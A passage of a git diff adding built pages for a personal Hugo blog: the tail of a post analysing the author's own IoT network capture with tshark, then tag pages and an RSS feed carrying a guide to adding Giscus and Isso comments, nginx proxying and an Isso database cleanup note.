    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/hostapd/page/1/index.html b/public-clearnet/tags/hostapd/page/1/index.html new file mode 100644 index 0000000..7873ac4 --- /dev/null +++ b/public-clearnet/tags/hostapd/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/hostapd/ + \ No newline at end of file diff --git a/public-clearnet/tags/hugo/index.html b/public-clearnet/tags/hugo/index.html new file mode 100644 index 0000000..570e69e --- /dev/null +++ b/public-clearnet/tags/hugo/index.html @@ -0,0 +1,21 @@ +Hugo | AlipourIm journeys +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    October 23, 2025 · 15 min · Iman Alipour +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    October 18, 2025 · 9 min · Iman Alipour +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/hugo/index.xml b/public-clearnet/tags/hugo/index.xml new file mode 100644 index 0000000..98f7f48 --- /dev/null +++ b/public-clearnet/tags/hugo/index.xml @@ -0,0 +1,1185 @@ +Hugo on AlipourIm journeyshttps://blog.alipour.eu/tags/hugo/Recent content in Hugo on AlipourIm journeysHugo -- 0.146.0enThu, 23 Oct 2025 19:31:12 +0200New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)https://blog.alipour.eu/posts/comments-rss-papermod/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/posts/comments-rss-papermod/A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
